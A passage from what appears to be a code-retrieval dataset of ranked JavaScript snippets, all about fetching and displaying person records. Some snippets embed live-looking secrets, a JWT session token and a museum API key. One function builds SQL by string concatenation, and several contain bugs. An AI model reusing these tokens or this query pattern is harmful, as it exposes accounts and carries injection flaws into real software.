complete){\r\n var sql = \"SELECT id, fname, lname, country, age, organization FROM fighters WHERE id = ?\";\r\n var inserts = [id];\r\n mysql.pool.query(sql, inserts, function(error, results, fields){\r\n if(error){\r\n res.write(JSON.stringify(error));\r\n res.end();\r\n }\r\n context.fighters= results[0];\r\n complete();\r\n });\r\n }", "title": "" }, { "docid": "881756f0d5d0583258abc81bb299a7c5", "score": "0.58015686", "text": "function personInfo(name, university) {\n\tvar text = \"Your name is \" + name + \", and you go to \" + university;\n\treturn text;\n}", "title": "" }, { "docid": "9b48221ef50d4b3d5d44be6c41c5d850", "score": "0.57666224", "text": "function populateInfo(person) {\n let oneCard = {}; // new object to store the required info for a person\n oneCard.name = person.name.first.charAt(0).toUpperCase()\n + person.name.first.slice(1)\n + \" \"\n + person.name.last.charAt(0).toUpperCase()\n + person.name.last.slice(1);\n oneCard.email = person.email;\n oneCard.location = person.location.city.charAt(0).toUpperCase()\n + person.location.city.slice(1);\n oneCard.photo = person.picture.large;\n oneCard.phone = person.phone;\n oneCard.address = person.location.street\n + \", \"\n + oneCard.location\n + \", \"\n + person.location.state.charAt(0).toUpperCase()\n + person.location.state.slice(1);\n const dob = person.dob.date;\n oneCard.birthday = \"Birthday: \"\n + dob.slice(8, 10)\n + \"/\"\n + dob.slice(5, 7)\n + \"/\"\n + dob.slice(0, 4);\n return oneCard;\n}", "title": "" }, { "docid": "2e81f34337d0c15d7909df0b3eb1f9b9", "score": "0.57533896", "text": "function listPersons() {\n for (index in persons) {\n // console.log(persons[index]);\n console.log(persons[index].fname_prop + \" \" +\n persons[index].lname_prop);\n }\n}", "title": "" }, { "docid": "1d7d45700784351b5f28d8c06b0e6884", "score": "0.5721856", "text": "function getNameById(id){\n\tvar record = getById(id); //get the person object at that ID\n\treturn record.firstName + \" \" + record.lastName; //return the first and last name from that person object\n}", "title": "" }, { "docid": "b9ceb55a0f8cfcde62aa455cd0777072", "score": "0.5717069", "text": "function getPersonInfo(one, two, three) {\n // console.log(one);\n // console.log(two);\n // console.log(three);\n}", "title": "" }, { "docid": "88bded172c176125bf6823733c07ffa9", "score": "0.5710453", "text": "function firstName(persons){\n var names='';\n\nfor( let i=0;i<persons.length;i++){\n\nnames+=persons[i].name.first;\n}\nreturn names; \n}", "title": "" }, { "docid": "4cecd96c72b461810ab9fe0107d23787", "score": "0.5708486", "text": "function getPerson(name) {\n for (var x = 0; x < data.characters.length; x++) {\n if (data.characters[x].name === name) return data.characters[x];\n }\n }", "title": "" }, { "docid": "2cbe89836dc36cc885f0064f8d20f667", "score": "0.57068354", "text": "getPartyName() {\n return this.resp.data[0].party_name;\n }", "title": "" }, { "docid": "5747ace7a336907cb54d58a6c9117bdc", "score": "0.570634", "text": "function getFirstName(person) {\n return person.firstName;\n}", "title": "" }, { "docid": "ef94b2492385cfa8cd88eb7a33d8b1da", "score": "0.5696915", "text": "function getPatientName(pt) {\n if (pt.name) {\n var names = pt.name.map(function(name) {\n return name.given.join(\" \") + \" \" + name.family;\n });\n return names.join(\" / \")\n } else {\n return \"anonymous\";\n }\n}", "title": "" }, { "docid": "59f01912b4bf963813db7cabf4a54e69", "score": "0.5695973", "text": "function getUserInfos(hash, jid) {\n // Get the buddy name\n var nick = getBuddyName(jid);\n \n // Display the buddy name\n if(nick) {\n $(\"#\" + hash + \" .top .name .bc-name\").text(nick);\n $(\"#chat-switch .\" + hash + \" a\").text(nick);\n }\n \n // Display the buddy presence\n presenceFunnel(jid, hash);\n \n // Get the buddy PEP informations\n displayPEP(jid, 'mood');\n displayPEP(jid, 'activity');\n displayPEP(jid, 'tune');\n displayPEP(jid, 'geoloc');\n \n // Get the avatar\n getAvatar(jid, 'cache', 'forgot');\n}", "title": "" }, { "docid": "7b957666788a128450258c9be88b693c", "score": "0.56959057", "text": "function getPersonID() {\n var apiUrlPersonSearch = \"https://api.themoviedb.org/3/search/person?api_key=\" + apiKey + \"&query=\" + searchInput\n fetch(apiUrlPersonSearch)\n .then(function (response) {\n return response.json()\n })\n .then(function (data) {\n personID = data.results[0].id;\n getPersonImage(personID);\n getPersonBio(personID);\n getMoviePopularity(personID)\n getPersonTwitterID(personID)\n getNews(searchInput)\n })\n\n}", "title": "" }, { "docid": "7ae41a1e8e227c4ca6bbb823f8f54cfa", "score": "0.56904024", "text": "function findUsersWhoBornIn1986() {\n const usersWhoBornIn1986 = data.filter((el) => {\n const userBorn = el.profile.birthday.split('-')[0];\n const isBornIn1986 = userBorn === '1986';\n\n return isBornIn1986;\n });\n\n for (let i = 0; i < usersWhoBornIn1986.length; i++) {\n const fullName = usersWhoBornIn1986[i].profile.full_name;\n\n console.log(fullName);\n }\n}", "title": "" }, { "docid": "9833b075afdd4311e563c973e6468807", "score": "0.5674682", "text": "function getPerson(name,age){\n return{\n \"name\":name,\n \"age\":age\n };\n }", "title": "" }, { "docid": "69f66d5716629e34f783f6fd7d847183", "score": "0.5674233", "text": "function getPerson(){\n return {\n firstName : \"Kurt\" ,\n lastName : \"Wonnegut\" ,\n gender : \"Male\" ,\n email : \"[email protected]\" ,\n phone : \"12345\" ,\n }\n}", "title": "" }, { "docid": "cf68d0a1a25dd0e52b3f528c0e890cac", "score": "0.5670807", "text": "async function getPersonDetails(id) {\n //get details\n let url = 'https://api.harvardartmuseums.org/person/' + id + '?apikey=fc1b68f0-b251-11e8-b0af-a198bfdbf6ce';\n let output = `<h2>Details</h2>` + `<table>`;\n\n let res = await fetch(url);\n res = await res.json();\n for (let record in res) {\n output += `\n <tr><td>` + record + `</td><td>` + res[record] + `</td></tr>`;\n };\n output += `</table> `;\n document.getElementById('objectDetails').innerHTML = output;\n}", "title": "" }, { "docid": "e4b776dd0f33843ed6cddec7d623b43b", "score": "0.5653812", "text": "function fullName(person) {\n console.log(person.firstName + \" \" + person.lastName);\n} // param is person, of type object, which has first name and last name", "title": "" }, { "docid": "3e6f6fc6dc3b7425adba3248d22bfe1f", "score": "0.565354", "text": "function fullName(person) {\n return person.firstName + \" \" + person.lastName;\n}", "title": "" }, { "docid": "76becb198bf82776595a643161688cd1", "score": "0.5649716", "text": "function getDetails() {\n let unformatted_name = document.getElementsByClassName(\"searchable\")[0].innerText;\n let job = document.getElementsByClassName(\"searchable\")[1].innerText;\n let location = document.getElementsByClassName(\"location\")[0].innerText;\n // Gets all enteries from the users experience section\n let all_companies = $(document).find(\"#profile-experience\").find(\".position\");\n // Gets the URL link of the subject's profile\n element = $(document).find('#topcard').find('.module-footer').find('.public-profile, .searchable').find('a')[0];\n href = element.href;\n // Splits name to first and last as well as converting to title case\n let name = formatName(unformatted_name);\n return [name[0], name[1], job, titleCase(location.split(',')[0]), href];\n}", "title": "" }, { "docid": "4a971f2b35060524267bc5d998e5bee8", "score": "0.56494015", "text": "function getBio( name ){\r\n\t\r\n\t\tname = name.replace('&','and');\r\n\t\t\r\n\t\tLastfmService.artistInfo( name )\r\n\t\t\t.then( function( response ){\r\n\t\t\t\tif( typeof(response.artist) !== 'undefined' && typeof(response.artist.bio) !== 'undefined' )\r\n\t\t\t\t\t$scope.artist.biography = response.artist.bio;\r\n\t\t\t});\r\n\t}", "title": "" }, { "docid": "a9dc865d3135ac6ea759c29243269657", "score": "0.5646928", "text": "function displayPeople(people){\n // Build a list of people, and if there is a relationship string, include it. \n alert(people.map(function(person){\n let returnString = \"\";\n if (person.relationship != \"\") {\n returnString = person.relationship + \": \";\n }\n return returnString + person.fullName;\n }).join(\"\\n\"));\n}", "title": "" }, { "docid": "6262061850364f23688233e7c8c42474", "score": "0.5636153", "text": "function showPerson(person) {\r\n const item = reviews[person];\r\n img.src = item.img;\r\n author.textContent = item.name;\r\n job.textContent = item.job;\r\n info.textContent = item.text;\r\n}", "title": "" }, { "docid": "d117eefee9e3cd9a5a538cd121836445", "score": "0.5636021", "text": "async getUserBio() {\n const url = PUMPUP_ENDPOINT_PREFIX + '/1/classes/User/318381'\n const response = await fetch(url, {\n method: 'POST',\n headers: {\n 'Accept' : 'application/json',\n 'Content-Type' : 'application/json'\n },\n body: JSON.stringify({\n '_method' : 'GET',\n '_version' : '5.0.5',\n '_SessionToken' :\n 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOjI3MDc3OTgsImV4cCI6MTUzOTUzNTI1OTM2OH0.UK2qP1yk9QLk_Bkx1Ly0RPaitRYtec8ojZhzYRc0D-g'\n })\n })\n\n if(!response.ok) {\n throw new Error('PumpupService getUserBio failed, HTTP status ' + response.status)\n }\n\n const data = await response.json()\n\n return data\n\n }", "title": "" }, { "docid": "6dba9ce0205ea3f74485d8a903e4db6b", "score": "0.5629938", "text": "function displayPerson(person) {\n \n let personInfo = \"First Name: \" + person.firstName + \"\\n\";\n personInfo += \"Last Name: \" + person.lastName + \"\\n\";\n personInfo += \"Gender: \" + person.gender + \"\\n\";\n personInfo += \"Date of Birth: \" + person.dob + \"\\n\";\n personInfo += \"Height: \" + person.height + \"\\n\";\n personInfo += \"Weight: \" + person.weight + \"\\n\";\n personInfo += \"Eye Color: \" + person.eyeColor + \"\\n\";\n personInfo += \"Occupation: \" + person.occupation + \"\\n\";\n personInfo += \"Parent(s) \" + person.parents + \"\\n\";\n personInfo += \"Current Spouse \" + person.currentSpouse + \"\\n\";\n\n alert(personInfo);\n}", "title": "" }, { "docid": "813db728838079ae527a2cabbdaa4deb", "score": "0.5619894", "text": "getPersonDetails() {\n // #. Call the base class method\n const personalDetails = super.getPersonDetails();\n return ` ${personalDetails} ${this.Id} ${this.Salary}`;\n }", "title": "" }, { "docid": "5f2e192f44951f6f4d65058b82ac9e89", "score": "0.5617775", "text": "function GetPeopleData(response){\n\tconsole.log(\"Data about this person has been imported successfully !\");\n\tconsole.log(response);\n\tpeopleCast = response.cast;\n\tpeopleCrew = response.crew;\n}", "title": "" }, { "docid": "392dc60aba4c7630a6d142c80a2dfa0c", "score": "0.56161094", "text": "function getPerson(personID) { // gets the person object when supplied with personID\r\n if (people.hasOwnProperty(personID)){\r\n return people[personID];\r\n }\r\n return null;\r\n}", "title": "" }, { "docid": "8fa495d48c631c335380794165824049", "score": "0.56087655", "text": "function getPartyName(partyID) {\n\t$.ajax({\n\t\turl: \"https://data.parliament.scot/api/parties\",\n\t\ttype: \"get\",\n\t\tdataType: \"json\",\n\t\tsuccess: function(data) {\n\t\t\tfor(i = 0; i<data.length; i++) {\n\t\t\t\tif (partyID == data[i].ID) {\n\t\t\t\t\tpartyName = data[i].ActualName;\n\t\t\t\t}\n\t\t\t}\n\t\t\tgetMemberEmail();\n\t\t}\n\t});\n}", "title": "" }, { "docid": "3a2e5a6a68a7c11f858efcffccb47c03", "score": "0.5599657", "text": "function displayPatient(pt) {\n document.getElementById('patient_name').innerHTML = getPatientName(pt);\n document.getElementById('gender').innerHTML = pt.gender;\n document.getElementById('dob').innerHTML = pt.birthDate;\n document.getElementById('age').innerHTML = getAge(pt.birthDate) + ' years old';\n}", "title": "" }, { "docid": "54eb20de78cd4789a558e99f4b2afdc7", "score": "0.5589057", "text": "function showPerson(person) {\nconst item = reviews[person];\nimg.src = item.img;\nauthor.textContent = item.name;\ngrade.textContent = item.grade;\ninfo.textContent = item.text;\n}", "title": "" }, { "docid": "9c8416af58df6a8ca9e9e6e13a865b0c", "score": "0.55807936", "text": "function olderPerson(persons){\nolder=persons[0].age\nfor (var i = 1; i < persons.length; i++) {\n if (older<persons[i].age){\n older= persons[i].age ;\n return (persons[i+1].name.first +' '+persons[i+1].name.last);\n }\n\n}\n //return older.name ; x \n //console.log (older); x \n}", "title": "" }, { "docid": "4e75f9df0e913cc310c411cd29ffb5d0", "score": "0.5574208", "text": "function printPerson(person){\n\tconsole.log(person.firstName + \" \" + person.lastName);\n}", "title": "" }, { "docid": "0003d96197e4a7b19e7ee438913f7596", "score": "0.5573236", "text": "function bindCard(person, creditcard) {\n var fullInfo = {};\n for (var i in person) {\n fullInfo[i] = person[i];\n }\n for (var j in creditcard) {\n fullInfo[j] = creditcard[j];\n }\n return fullInfo;\n}", "title": "" }, { "docid": "a5f571d97d5e01b6f591f8ea5ce87611", "score": "0.5565774", "text": "function babyBirth() {\n return displayNames() + \" \" + displayLastName();\n}", "title": "" }, { "docid": "ced90b5f723f6cb42880ef73e9a3beb3", "score": "0.55646706", "text": "function displayFamily(people){\n alert(\"Current Spouse:\\n\"+people.currentSpouse +\"\\n\\n\"+\"Parents:\\n\"+people.parents+\"\\n\\n\"+\"Children:\\n\"+people.children+\"\\n\\n\"+\"Siblings:\\n\"+people.siblings);\n}", "title": "" }, { "docid": "9269d2345c4f6abd1ab9ff62ccac318a", "score": "0.5559884", "text": "function printPerson(person) {\n console.log(person.firstName + \" \" + person.lastName);\n}", "title": "" }, { "docid": "6a408c934e74ae1783f476cb7f38a889", "score": "0.55575275", "text": "function getAffordable(){\r\n var url = \"/bookings/affordable/\" + 100;\r\n var bookingsPromise = $http.get(url);\r\n bookingsPromise.then(function(response){\r\n vm.bookings = response.data;\r\n });\r\n }", "title": "" }, { "docid": "dff82064436d2bba85a4e96c5f451a9a", "score": "0.55471325", "text": "getuserinfo(ref) {\n this.users = this.Data.persons;\n this.users.forEach(i => {\n this.person = i['users'];\n });\n return this.person.find(e => e.UserID === ref);\n }", "title": "" }, { "docid": "320798a61db9b3a4b6566957ce6d5da1", "score": "0.5544099", "text": "function showPerson(person){\r\n const item = reviews[person];\r\n img.src = item.img\r\n author.textContent = item.name;\r\n job.textContent = item.job;\r\n info.textContent = item.text;\r\n}", "title": "" }, { "docid": "8cb61f795b22395f6ff0b0f713976486", "score": "0.55408186", "text": "function showPerson(person)\r\n{\r\n const item = reviews[person];\r\n img.src = item.img;\r\n author.textContent = item.name;\r\n job.textContent = item.job;\r\n info.textContent = item.text;\r\n}", "title": "" }, { "docid": "89c0f8e51956031f86df92b1db01c07c", "score": "0.55326563", "text": "function loadPerson() {\n // TODO\n\n\n\n\n\n}", "title": "" }, { "docid": "4a72419529833122b5cb9aa604e63069", "score": "0.5511275", "text": "function greet(name){\n console.log(\"hi Mr\" + \" \" + name.surname);\n console.log(\"your current location is:\" + \" \" + person2.address.fetchAddress());\n}", "title": "" }, { "docid": "6cf6b9e582c49021477862d6c34be594", "score": "0.55078334", "text": "function getPeopleBylname(res, mysql, context, complete){\r\n mysql.pool.query(\"SELECT f.id, fname, lname,country,organization, p.name AS promotion, age FROM fighters f LEFT JOIN promotion p ON p.id = f.organization LEFT JOIN fighter_team ft ON ft.pid = f.id GROUP BY f.id ORDER BY lname\" , function(error, results, fields){\r\n if(error){\r\n res.write(JSON.stringify(error));\r\n res.end();\r\n }\r\n\t\t\t//context.fighters refers to #fighters in handlebars\r\n context.fightersDisplay = results;\r\n complete();\r\n });\r\n }", "title": "" }, { "docid": "f5d6ec3704183c51c5464a2d30a09edb", "score": "0.55019575", "text": "function showPerson(person){\r\n\tconst item = reviews[person];\r\n\tauthor.textContent = item.name;\r\n\treview.textContent = item.text;\r\n}", "title": "" }, { "docid": "28e3b77d6294b4cf2d4b00a16bb2f58c", "score": "0.5494246", "text": "function showPerson(Person,i){\n //console.log(Person.Name);\n //console.log(Person.Age,i);\n console.log(\"The person Name is \"+Person.Name);\n console.log(\"Their age is \"+Person.Age );\n}", "title": "" }, { "docid": "a7a470e81ce7824b4226ca0d96de86be", "score": "0.5488392", "text": "function getApplicants() {\n\tvar person1 = {\n\t\t\"name\" : \"Bill Riley\",\n\t\t\"DOB\" : \"August 4, 1991\",\n\t\t\"address\" : \"123 Street Road\",\n\t\t\"skills\" : [\"HTML\", \"CSS\", \"Illustrator\", \"Published\"] \n\t};\n\n\tvar person2 = {\n\t\t\"name\" : \"Jess Jillenger\",\n\t\t\"DOB\" : \"June 21, 1988\",\n\t\t\"address\" : \"456 Fake Road\",\n\t\t\"skills\" : [\"HTML\", \"PhotoShop\", \"CSS\", \"Ruby on Rails\"]\n\t};\n\n\tvar person3 = {\n\t\t\"name\" : \"Rebecca Simmons\",\n\t\t\"DOB\" : \"December 1, 1994\",\n\t\t\"address\" : \"1324 West Street\",\n\t\t\"skills\" : [\"HTML\", \"PhotoShop\", \"CSS\", \"JavaScript\", \"Angular\"]\n\t};\n\n\tvar person4 = {\n\t\t\"name\" : \"Jim Matthews\",\n\t\t\"DOB\" : \"January 14, 1990\",\n\t\t\"address\" : \"1324 East Street\",\n\t\t\"skills\" : [\"HTML\", \"PhotoShop\", \"CSS\", \"Cognitive Psychology\", \"Published\", \"UI/UX\"]\n\t};\n\n\tvar person5 = {\n\t\t\"name\" : \"Samantha Monico\",\n\t\t\"DOB\" : \"February 7, 1990\",\n\t\t\"address\" : \"1992 Johnson Street\",\n\t\t\"skills\" : [\"HTML\", \"CSS\", \"Cognitive Psychology\", \"UI/UX\", \"PhotoShop\"]\n\t};\n\n\tvar person6 = {\n\t\t\"name\" : \"Cindy Liu\",\n\t\t\"DOB\" : \"May 7, 1979\",\n\t\t\"address\" : \"18 Marr Road\",\n\t\t\"skills\" : [\"HTML\", \"CSS\", \"Published\", \"Angular\", \"JavaScript\", \"Node\"]\n\t};\n\n\treturn [person1, person2, person3, person4, person5, person6];\n}", "title": "" }, { "docid": "d878552aa59ac0928ed8c99dee0c37fd", "score": "0.5484116", "text": "function getFullName (people) {\n return people.firstName + ' ' + people.lastName\n}", "title": "" }, { "docid": "632c078fab2b3dc3c4a0b3c8d4e80cde", "score": "0.5479825", "text": "async function getBeneficiary(agent) \n {\n const Qsnapshot = await cs.where('Email ID','==',email).get();\n const getList = Qsnapshot.docs.map((doc) => ({id:doc.id,...doc.data()}));\n var bn = \n {\n \"BENEFICIARY 1\" : getList[0]['Beneficiary-1'],\n \"BENEFICIARY 2\" : getList[0]['Beneficiary-2'] ,\n \"BENEFICIARY 3\" : getList[0]['Beneficiary-3']\n\n }\n agent.add('Your Beneficiaries are : '+bn['BENEFICIARY 1']+', '+bn['BENEFICIARY 2']+' and '+bn['BENEFICIARY 3']);\n }", "title": "" }, { "docid": "3536f7b5629f882149e902a992970f3c", "score": "0.5476315", "text": "function getPeopleByfname(res, mysql, context, complete){\r\n mysql.pool.query(\"SELECT f.id, fname, lname,country,organization, p.name AS promotion, age FROM fighters f LEFT JOIN promotion p ON p.id = f.organization LEFT JOIN fighter_team ft ON ft.pid = f.id GROUP BY f.id ORDER BY fname\" , function(error, results, fields){\r\n if(error){\r\n res.write(JSON.stringify(error));\r\n res.end();\r\n }\r\n\t\t\t//context.fighters refers to #fighters in handlebars\r\n context.fightersDisplay = results;\r\n complete();\r\n });\r\n }", "title": "" }, { "docid": "c70fb4ad8e71cd5e88fdc55d684b04a3", "score": "0.5475253", "text": "function showPerson(person){\n const item = reviews[person];\n img.src = item.img;\n author.textContent = item.author;\n job.textContent = item.job;\n info.textContent = item.info;\n}", "title": "" }, { "docid": "b4704ac23152a6dc3c7f131eae1a62c0", "score": "0.54711443", "text": "getPersonId(data) {\n const person =\n this.data.Company.Person.find((person) => person.fistName === data.firstName && person.lastName === data.lastName) || {};\n return person.widoId;\n }", "title": "" }, { "docid": "bdd1a2efa7e650ca16d001e46ac5f8ea", "score": "0.54641694", "text": "function showPerson(person) { // we create the function showPerson with the parameter of person\n const item = reviews[person]; // here we create the item variable and define it with the reviews data and the person parameter\n author.textContent = item.author;\n title.textContent = item.title;\n info.textContent = item.text;\n}", "title": "" }, { "docid": "58186aebfe740d6bf4c376ff677924dd", "score": "0.54566467", "text": "display(object) {\n var personObj = object.person;\n for (var key in personObj) {\n console.log(personObj[key]);\n\n }\n }", "title": "" }, { "docid": "506659d1f647c6954f4be49cf81086e3", "score": "0.54537666", "text": "function getPeopleByAge(res, mysql, context, complete){\r\n mysql.pool.query(\"SELECT f.id, fname, lname,country,organization, p.name AS promotion, age FROM fighters f LEFT JOIN promotion p ON p.id = f.organization LEFT JOIN fighter_team ft ON ft.pid = f.id GROUP BY f.id ORDER BY age\" , function(error, results, fields){\r\n if(error){\r\n res.write(JSON.stringify(error));\r\n res.end();\r\n }\r\n\t\t\t//context.fighters refers to #fighters in handlebars\r\n context.fightersDisplay = results;\r\n complete();\r\n });\r\n }", "title": "" }, { "docid": "8dbc80718b2f02cb40bf613e2476380e", "score": "0.5449599", "text": "function userInfo(name, number, businessName) {\n console.log(`Account Holder Name: ${name}`);\n console.log(`Account Holder Number: ${number}`);\n console.log(`Business Name: ${businessName}`);\n}", "title": "" }, { "docid": "584c2ecef253db842dd1afa9171486a6", "score": "0.54433733", "text": "function handleSearchPersonBirthdate(){\n var medianame =agent.parameters.medianame;\n var auxname = medianame.normalize(\"NFD\").replace(/[\\u0300-\\u036f]/g, \"\").toLowerCase();\n var arrayName = auxname.split(\" \");\n var queryName = arrayName.join('-');\n return axios.get(`${endpoint}/search/person?api_key=${tmdbKey}&query=${queryName}&language=es&page=1&include_adult=false`)\n .then((result)=>{\n if(result.data.results.length>0){\n var element = result.data.results[0];\n var id = element.id;\n return axios.get(`${endpoint}/person/${id}?api_key=${tmdbKey}&language=es`)\n .then((person)=>{\n if(person!=null){\n var prs =person.data;\n var personname = prs.name;\n var birthday = prs.birthday;\n var age = getAge(birthday);\n var placebirth = prs.place_of_birth; \n var gender = prs.gender;\n var posterPath=imgPth+prs.profile_path;\n var department = prs.known_for_department;\n var profession;\n if(department==\"Acting\"){\n if(gender==\"1\"){profession=\"Actriz\";}\n if(gender==\"2\"){profession=\"Actor\";}\n }\n if(department==\"Production\"){\n if(gender==\"1\"){profession=\"Productora\";}\n if(gender==\"2\"){profession=\"Productor\";}\n }\n if(department==\"Directing\"){\n if(gender==\"1\"){profession=\"Directora\";}\n if(gender==\"2\"){profession=\"Director\";}\n }\n if(department==\"Writing\"){\n profession=\"Guionista\";\n }\n var cardTitle = \"Fecha de nacimiento de \"+personname+\" (\"+profession+\")\";\n var cardText = personname+\" es \"+profession+\" y tiene \"+age+\" años. Nació el \"+birthday+\" en \"+placebirth; \n agent.add(new Card({title: cardTitle,imageUrl:posterPath,text: cardText,\n buttonText:`Detalles de ${personname}`,buttonUrl:`${personname} (person : ${id})`}));\n }else{agent.add(new Card({title: \"Sin resultados\" , text: `No se han encontrado resultados para ${medianame}. Vuelve a intentarlo`}));}\n });\n }else{agent.add(new Card({title: \"Sin resultados\" , text: `No se han encontrado resultados para ${medianame}. Vuelve a intentarlo`}));}\n });\n }", "title": "" }, { "docid": "3d53ffe2c1db7aeca6714e07535c3fea", "score": "0.5443175", "text": "function getFBName() {\n FB.api('/me', {fields: 'first_name,last_name'}, function (response) {\n console.log(response.first_name);\n console.log(response.last_name);\n // document.getElementById(\"fbFName\").innerHTML = response.first_name;\n // document.getElementById(\"fbLName\").innerHTML = response.last_name;\n })\n}", "title": "" }, { "docid": "01911416acc7814cbdb7bca1f5682fb3", "score": "0.54423326", "text": "function displayFriend(mate){\n\nfor (var i = 0 ; i < arr.length ; i++){\nif (mate === arr[i].name) {\n\treturn \"name : \" + arr[i].name +\",\" + \" age : \" + arr[i].age\n}\n}\n}", "title": "" }, { "docid": "f52919880aad40d8a01ffd559dc5c6d7", "score": "0.54350257", "text": "_getPersonString(person) {\n return `${person.firstName} ${person.familyName}${\n person.affiliation ? ` (${person.affiliation})` : ''\n }`;\n }", "title": "" }, { "docid": "370fd57ba446ea0231fb990cc81258c7", "score": "0.54327524", "text": "function getPersonByID(ID)\n\t\t{\n\t\t\tvar person=grantsData.persons.find(function(person)\n\t\t\t{\n\t\t\t\treturn person.ID === ID\n\t\t\t})\n\t\t\treturn person;\n\t\t}", "title": "" }, { "docid": "017a5188703547af6824c05bd6fa173d", "score": "0.54245573", "text": "function getPersonID(constituencyID) {\n\t$.ajax({\n\t\turl: \"https://data.parliament.scot/api/MemberElectionConstituencyStatuses\",\n\t\ttype: \"get\",\n\t\tdataType: \"json\",\n\t\tsuccess: function(data) {\n\t\t\tfor(i = 0; i<data.length; i++) {\n\t\t\t\tif (constituencyID == data[i].ConstituencyID) {\n\t\t\t\t\tpersonID = data[i].PersonID;\n\t\t\t\t}\n\t\t\t}\n\t\t\tgetMemberDetails(personID);\n\t\t}\n\t});\n}", "title": "" }, { "docid": "26ceb336b0904e10735f4af3a9408d67", "score": "0.5420718", "text": "function getRecipientName(min, max, aggregation, race, race2, gender, veteran, list, mediaType)\n{\n //if list = 1 get list and bypass rest of art installation\n if(list == 1)\n {\n getRecipientList(min, max, aggregation, race, race2, gender, veteran, mediaType);\n return;\n }\n //send demographics to start building sql statement\n demographicSqlstament = buildSQLStatement(race, race2, gender, veteran);\n //execute sql statement in sqlite max msp integration\n //get each company getting award amount between min and max \n if (demographicsSqlStatement == \"false\")\n {\n //get recipient name based on individual awards\n if(aggregation == 0)\n {\n recipientSqlStatement = \"select DISTINCT R.RECIPIENT_NAME, R.Recipient_id \\\n from PG1_AWARD A join PG1_RECIPIENT R \\\n WHERE A.recipient_id = R.recipient_id AND A.current_total_value_of_award BETWEEN \"+ min + \" and \" + max + \n \" ORDER BY R.Recipient_name limit 1 offset \" + i;\n } \n //get recipient name based on summation of awards \n else if(aggregation == 1)\n {\n recipientSqlStatement = \"select r.recipient_name, r.recipient_id \\\n from pg1_recipient r join \\\n (select a.recipient_id, sum(a.current_total_value_of_award) as summation \\\n from pg1_award a group by a.recipient_id) n \\\n where r.recipient_id = n.recipient_id and n.summation between \" + min + \" and \" + max + \n \" order by r.recipient_name limit 1 offset \" + i;\n }\n }\n else\n {\n //get recipient name based on individual awards with demographics\n if(aggregation == 0)\n {\n recipientSqlStatement = \"select DISTINCT R.RECIPIENT_NAME, R.Recipient_id \\\n from PG1_AWARD A join PG1_RECIPIENT R join (\"+ demographicsSqlStatement +\") O\\\n WHERE A.recipient_id = R.recipient_id AND R.recipient_id = O.recipient_id \\\n AND A.current_total_value_of_award BETWEEN \"+ min + \" and \" + max + \n \" ORDER BY R.Recipient_name limit 1 offset \" + i;\n } \n //get recipient name based on summation of awards with demographics \n else if(aggregation == 1)\n {\n recipientSqlStatement = \"select r.recipient_name, r.recipient_id \\\n from pg1_recipient r join \\\n (select a.recipient_id, sum(a.current_total_value_of_award) as summation \\\n from pg1_award a group by a.recipient_id) n join (\" + demographicsSqlStatement + \") O\\\n where r.recipient_id = n.recipient_id and n.recipient_id = O.recipient_id and n.summation between \" + min + \" and \" + max + \n \" order by r.recipient_name limit 1 offset \" + i;\n }\n }\n \n\tsqlite.exec(recipientSqlStatement, nameResult);\n getCount(min, max, aggregation, demographicsSqlStatement);\n //output to max\n if(nameResult.value(0,0) != 0)\n {\n outlet(0, nameResult.value(0,0));\n outlet(5, i);\n getMedia(recipientSqlStatement, mediaType);\n i++;\n }\n else\n {\n //bang to indicate list is complete\n outlet(3, 'bang');\n i = 0;\n } \n}", "title": "" }, { "docid": "b7fa3bed2c01716647fb510824301665", "score": "0.54154956", "text": "getPersonDetails() {\n return `${this.Name} ${this.Age}`;\n }", "title": "" }, { "docid": "1c055dcb7bfb94a7bd61f3f36630627a", "score": "0.54137504", "text": "function getBornAndDied(link, content){\n\tfunction getInfo(content, searchString){\t\n\t\tvar pos = content.search(searchString);\n\t\tif (pos != -1) {\n\t\t\tr = content.substring(pos);\n\t\t\tr = r.substring(r.search('=')+1);\n\t\t\tpos = r.search('\\n');\n\t\t\tposPipe = r.search(/\\|/);\n\t\t\tif (posPipe != -1) { pos = Math.min(pos, posPipe); }\n\t\t\tr = r.substring(0,pos);\n\t\t\tr = r.replace(/\\[/g, '');\n\t\t\tr = r.replace(/\\]/g, '');\n\t\t\treturn r;\n\t\t}\n\t\telse { return false; }\t\n\t}\n\tfunction shortFromLong(dateString){\n\t\tvar yearPattern = /\\d\\d\\d\\d/;\n\t\tvar pos = dateString.search(yearPattern);\n\t\tvar shortDate = dateString.substring(pos, pos+4);\n\t\treturn shortDate;\n\t}\t\n\t\n\tvar dobL = getInfo(content, 'DATE OF BIRTH');\n\tif (dobL) { var dob = shortFromLong(dobL); }\n\tvar pob = getInfo(content, 'PLACE OF BIRTH');\n\tvar dodL = getInfo(content, 'DATE OF DEATH');\n\tif (dodL) { var dod = shortFromLong(dodL); }\n\tvar pod = getInfo(content, 'PLACE OF DEATH');\n\t// Add checks for content in vars, if undef try and fill with getExtract + mangling\n\t/* Might be able to reuse this:\n\t\tgetExtract(link).done(function(data) {\n\t\t\tpages = data.query.pages;\n\t\t\tpageid = Object.getOwnPropertyNames(pages);\n\t\t\textract = pages[pageid].extract;\t\n\t\t\tvar yearPattern = /\\d\\d\\d\\d/;\n\t\t\tvar pos = extract.search(yearPattern);\n\t\t\tvar born = extract.substring(pos, pos+4);\n\t\t\tvar stringTemp = extract.substring(pos+4);\n\t\t\tpos = stringTemp.search(yearPattern);\n\t\t\tvar died = stringTemp.substring(pos, pos+4); \n\t*/\n\treturn {dob:dob, pob:pob, dod:dod, pod:pod, dobL:dobL, dodL:dodL};\n}", "title": "" }, { "docid": "87596a9a35d96ed150aa5f9e35ad68eb", "score": "0.54134804", "text": "function accountInformation(name, number, businessName){\n console.log(`Account Holder Name: ${name}`);\n console.log(`Account Holder Number: ${number}`);\n console.log(`Business Name: ${businessName}`);\n}", "title": "" }, { "docid": "240721eca78eb21354a1c6db0b50f813", "score": "0.541274", "text": "function PrintAllPersons() {\n for (var i = 0; i < persons.length; i++) {\n outputdiv.innerHTML +=\n persons[i].Fullname() + \" (\" +\n persons[i].Age + \")<br/>\";\n }\n}", "title": "" }, { "docid": "bf9ebf1a91b2840083e6688b243178b4", "score": "0.5408636", "text": "function getPerson() {\n let half = Math.random() > 0.5;\n if (half){\n return {\n firstName: \"Wekoslav\",\n lastName: \"Stefanovski\",\n age: 0x29\n }\n };\n}", "title": "" }, { "docid": "c0d45dfde49ad86d9fd806ade523abdc", "score": "0.5400344", "text": "function getPerson(id, callback){\n\tcon.query(\"SELECT * FROM 